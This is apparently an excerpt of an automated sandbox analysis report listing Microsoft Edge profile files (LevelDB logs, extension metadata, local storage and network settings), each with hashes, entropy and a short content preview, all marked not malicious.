Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.167878998687074
Encrypted:	false
SSDEEP:	6:H4pFL3+q2PN723oH+Tcwt8aPrqIFUt8Y4pFLVZmw+Y4pFLp9VkwON723oH+Tcwtc:YpFLOvVaYebL3FUt8fpFLV/+fpFLpD54
MD5:	1970AC8B2270225EDDCD77D0FFC73DC6
SHA1:	9FC231A8F88A1313BF2A14DF46E4251D12F0F22E
SHA-256:	7DDA8CA996B79CFA97377E3EF4D7CD63B057CEA2C5F1B0C7CC9A46474A442A6B
SHA-512:	F67AF281BCD415F2569437164F35AC41B49823A7E1705D7975E2EECF599F4213EB58008B1BB96E9986BB69FCAAE752D5C1F3CCA1227FD3FE419720130FDA21C2
Malicious:	false
Preview:	2024/11/07-11:25:31.343 9e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/07-11:25:31.349 9e8 Recovering log #3.2024/11/07-11:25:31.350 9e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.167878998687074
Encrypted:	false
SSDEEP:	6:H4pFL3+q2PN723oH+Tcwt8aPrqIFUt8Y4pFLVZmw+Y4pFLp9VkwON723oH+Tcwtc:YpFLOvVaYebL3FUt8fpFLV/+fpFLpD54
MD5:	1970AC8B2270225EDDCD77D0FFC73DC6
SHA1:	9FC231A8F88A1313BF2A14DF46E4251D12F0F22E
SHA-256:	7DDA8CA996B79CFA97377E3EF4D7CD63B057CEA2C5F1B0C7CC9A46474A442A6B
SHA-512:	F67AF281BCD415F2569437164F35AC41B49823A7E1705D7975E2EECF599F4213EB58008B1BB96E9986BB69FCAAE752D5C1F3CCA1227FD3FE419720130FDA21C2
Malicious:	false
Preview:	2024/11/07-11:25:31.343 9e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/07-11:25:31.349 9e8 Recovering log #3.2024/11/07-11:25:31.350 9e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.174875675036355
Encrypted:	false
SSDEEP:	6:H4pFLXX9+q2PN723oH+Tcwt865IFUt8Y4pFLXXJZmw+Y4pFLSbVkwON723oH+Tc4:YpFLXX4vVaYeb/WFUt8fpFLXXJ/+fpFY
MD5:	E73C3D7FDA7E6EA44F73441212E54CDD
SHA1:	2D3260A17B7FA5F7D2AB6891BC1E104D2512F50B
SHA-256:	A13056DD2D55AEF0D5D6178E4380989F4ACDAEAA852EFF47A82041728E10F4A3
SHA-512:	9BF88BCF351345CB861F6F57E346A660F397A153F688EF6E380657E21EDCCE4FDB448CE13B6CF44431E0F92E35D2D0F66D16565285240D281573FCA2C955FD2D
Malicious:	false
Preview:	2024/11/07-11:25:31.352 9e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/07-11:25:31.352 9e8 Recovering log #3.2024/11/07-11:25:31.353 9e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.174875675036355
Encrypted:	false
SSDEEP:	6:H4pFLXX9+q2PN723oH+Tcwt865IFUt8Y4pFLXXJZmw+Y4pFLSbVkwON723oH+Tc4:YpFLXX4vVaYeb/WFUt8fpFLXXJ/+fpFY
MD5:	E73C3D7FDA7E6EA44F73441212E54CDD
SHA1:	2D3260A17B7FA5F7D2AB6891BC1E104D2512F50B
SHA-256:	A13056DD2D55AEF0D5D6178E4380989F4ACDAEAA852EFF47A82041728E10F4A3
SHA-512:	9BF88BCF351345CB861F6F57E346A660F397A153F688EF6E380657E21EDCCE4FDB448CE13B6CF44431E0F92E35D2D0F66D16565285240D281573FCA2C955FD2D
Malicious:	false
Preview:	2024/11/07-11:25:31.352 9e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/07-11:25:31.352 9e8 Recovering log #3.2024/11/07-11:25:31.353 9e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.092648426547436
Encrypted:	false
SSDEEP:	6:H4pcMyq2PN723oH+Tcwt8NIFUt8Y4p2J1Zmw+Y4p2fRkwON723oH+Tcwt8+eLJ:YpPyvVaYebpFUt8fp2D/+fp2fR5OaYey
MD5:	B14FA0EC9C866CB3FE54FAD8B061986D
SHA1:	4372EC5902CE1C003C4DADAFDFB766292945C559
SHA-256:	D365732A8958C1ED03973E2E881CD6B476AC6B1B802E02D94E90825A5B7E93B4
SHA-512:	7B909E88C5E1F232E003E7AAE9E94D112101263C40E5E77F7ECAD71DBA71FBA682A3C01C4A4237A705F29EAAE7D8A8F46D39E162B63919BEDD3E5F065D3CBB34
Malicious:	false
Preview:	2024/11/07-11:25:32.414 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/07-11:25:32.415 1fe0 Recovering log #3.2024/11/07-11:25:32.415 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.092648426547436
Encrypted:	false
SSDEEP:	6:H4pcMyq2PN723oH+Tcwt8NIFUt8Y4p2J1Zmw+Y4p2fRkwON723oH+Tcwt8+eLJ:YpPyvVaYebpFUt8fp2D/+fp2fR5OaYey
MD5:	B14FA0EC9C866CB3FE54FAD8B061986D
SHA1:	4372EC5902CE1C003C4DADAFDFB766292945C559
SHA-256:	D365732A8958C1ED03973E2E881CD6B476AC6B1B802E02D94E90825A5B7E93B4
SHA-512:	7B909E88C5E1F232E003E7AAE9E94D112101263C40E5E77F7ECAD71DBA71FBA682A3C01C4A4237A705F29EAAE7D8A8F46D39E162B63919BEDD3E5F065D3CBB34
Malicious:	false
Preview:	2024/11/07-11:25:32.414 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/07-11:25:32.415 1fe0 Recovering log #3.2024/11/07-11:25:32.415 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:JYntFlljq7A/mhWJFuQ3yy7IOWU0Q/dweytllrE9SFcTp4AGbNCV9RUIie:/75fOeQ/d0Xi99pEYF
MD5:	1AE4250ABBBDE80A594A765C0FF94EDA
SHA1:	C64CE6E7D735C03635D480B99769AC5B1FF6D4C4
SHA-256:	418E8259F7D3BA3AC2059467FFAD433DE4034C330949395055E6A353C78233A0
SHA-512:	32FF12EB54CA3F1BC7E1A1ABBD7233D678170C8DA5778F34944C267BECBAC1B0ADEBF4F87E1A3177C8D14482EC86C659FF975C16E99C9D70DD521453C44F98A7
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648152292571476
Encrypted:	false
SSDEEP:	384:aj9P0vTQkQerkjlxP/KbtLc7gam6IThj773pLLRKToaAu:ad8Te2mlxP/NajF7NRKcC
MD5:	AE7AC53BAA5544A786E4199B61372056
SHA1:	53116E52A28E2675564A17635763D735EB8977C2
SHA-256:	365E7A2B1E71E4E94D2C02E0A6F842DABB7B9163CD84F6681B477C99FEC9B9F7
SHA-512:	D02AB18CE7D6A0BA228409AB446802998ED5B02AE76EA9DDD41A4A87C8671463AFBA68738FC0E2C36627E367E1D44EE960844825DC6593D2F4E0EBD19347B475
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.281529397003956
Encrypted:	false
SSDEEP:	12:YpfvVaYeb8rcHEZrELFUt8fpS/+fpM5OaYeb8rcHEZrEZSJ:YpnVaYeb8nZrExg8fpzpWOaYeb8nZrE8
MD5:	DE55C9579A85AF9C29224C510384EDF4
SHA1:	8C14913BD8FA24E1854965F09DB96B4674B14224
SHA-256:	D1217AF8A62D6BD1B907FADA1335B4716AFD382AB8CF962A272CB47265F2A5B1
SHA-512:	04F6C4E2A6B1142F28B9EAA3712E30313FCA78003AF38C50773399BAB42B0B308DBF41F2E508D80AE9495AB032D58BF001687AC59A62125231EBC5C77E5DC5BB
Malicious:	false
Preview:	2024/11/07-11:25:36.706 1fd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/07-11:25:36.706 1fd8 Recovering log #3.2024/11/07-11:25:36.708 1fd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.281529397003956
Encrypted:	false
SSDEEP:	12:YpfvVaYeb8rcHEZrELFUt8fpS/+fpM5OaYeb8rcHEZrEZSJ:YpnVaYeb8nZrExg8fpzpWOaYeb8nZrE8
MD5:	DE55C9579A85AF9C29224C510384EDF4
SHA1:	8C14913BD8FA24E1854965F09DB96B4674B14224
SHA-256:	D1217AF8A62D6BD1B907FADA1335B4716AFD382AB8CF962A272CB47265F2A5B1
SHA-512:	04F6C4E2A6B1142F28B9EAA3712E30313FCA78003AF38C50773399BAB42B0B308DBF41F2E508D80AE9495AB032D58BF001687AC59A62125231EBC5C77E5DC5BB
Malicious:	false
Preview:	2024/11/07-11:25:36.706 1fd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/07-11:25:36.706 1fd8 Recovering log #3.2024/11/07-11:25:36.708 1fd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1655
Entropy (8bit):	5.677045346883064
Encrypted:	false
SSDEEP:	48:ptZ64QjQXZ2V03Sx41HHHxda2LoEwyc1zV:ptoTCiWRxL8
MD5:	7588E05FE76346B58099E8669517237E
SHA1:	19429BC4FAE2F5DC1E12AB0A2FE2E9879D970484
SHA-256:	6C0A8CF52710DBEBADBDA127DC88F556710A4826289F82A099AA936E911B5C18
SHA-512:	6E933260FA0BC2A7047DA56957434ED33CF3877556ED41A523E754739F645861D260B088C799D300D019E3F8CAD09E18BFD24138A50DE569718600FF5F549489
Malicious:	false
Preview:	.&ly................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":726}.!_https://ntp.msn.com..LastKnownPV..1730996744541.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730996746184.._https://ntp.msn.com..MUID!.2A8240AA479562810A1E559A46E0634C.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730996744631,"schedule":[33,-1,10,-1,4,-1,-1],"scheduleFixed":[33,-1,10,-1,4,-1,-1],"simpleSchedule":[50,33,11,35,34,51,52]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730996744506.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241107.55"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.143465844873954
Encrypted:	false
SSDEEP:	6:H4pFLSFwpM+q2PN723oH+Tcwt8a2jMGIFUt8Y4pFLtzZmw+Y4pFLPMVkwON723oL:YpFLSFwpM+vVaYeb8EFUt8fpFLp/+fpF
MD5:	E233D3D961AA202D1145597D8C520262
SHA1:	3AF93A810CA294A981A3701BA2166D852458ED7A
SHA-256:	7F7F7C2DECF3958CC9B0968E5A190A36BF57F760E42F29113B5B377ACD09A131
SHA-512:	9FDC676809FB77FD74280BD4A18E0E63AD5D9999AA6A1A85BB0F2343AD9576CCC68A36C3FAFE4D0F3C8D75B28F0C305B232D014988F43F46A350AF470DB9F02D
Malicious:	false
Preview:	2024/11/07-11:25:31.717 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/07-11:25:31.723 1d8c Recovering log #3.2024/11/07-11:25:31.728 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.143465844873954
Encrypted:	false
SSDEEP:	6:H4pFLSFwpM+q2PN723oH+Tcwt8a2jMGIFUt8Y4pFLtzZmw+Y4pFLPMVkwON723oL:YpFLSFwpM+vVaYeb8EFUt8fpFLp/+fpF
MD5:	E233D3D961AA202D1145597D8C520262
SHA1:	3AF93A810CA294A981A3701BA2166D852458ED7A
SHA-256:	7F7F7C2DECF3958CC9B0968E5A190A36BF57F760E42F29113B5B377ACD09A131
SHA-512:	9FDC676809FB77FD74280BD4A18E0E63AD5D9999AA6A1A85BB0F2343AD9576CCC68A36C3FAFE4D0F3C8D75B28F0C305B232D014988F43F46A350AF470DB9F02D
Malicious:	false
Preview:	2024/11/07-11:25:31.717 1d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/07-11:25:31.723 1d8c Recovering log #3.2024/11/07-11:25:31.728 1d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0016010f-8a87-4458-91b3-bf80e54c79e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1b4a8955-76bc-4379-9afb-a2124501465c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\235de707-0d67-4747-882a-2375ceb3654d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\258a7c48-9440-4e03-b756-5258400fc065.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.305268229140574
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsGZZVMdmRdsGHZFRudFGRw6maPsw6C1VdscyyZC52HTHQYhbj:YcCpfgCzsGPtsG5fc7kBRscfCgHTwYh/
MD5:	271349A59DE45649EB47606A8B8669E8
SHA1:	CF86C989126A4F00EEA8E77F96B2699F585F1E73
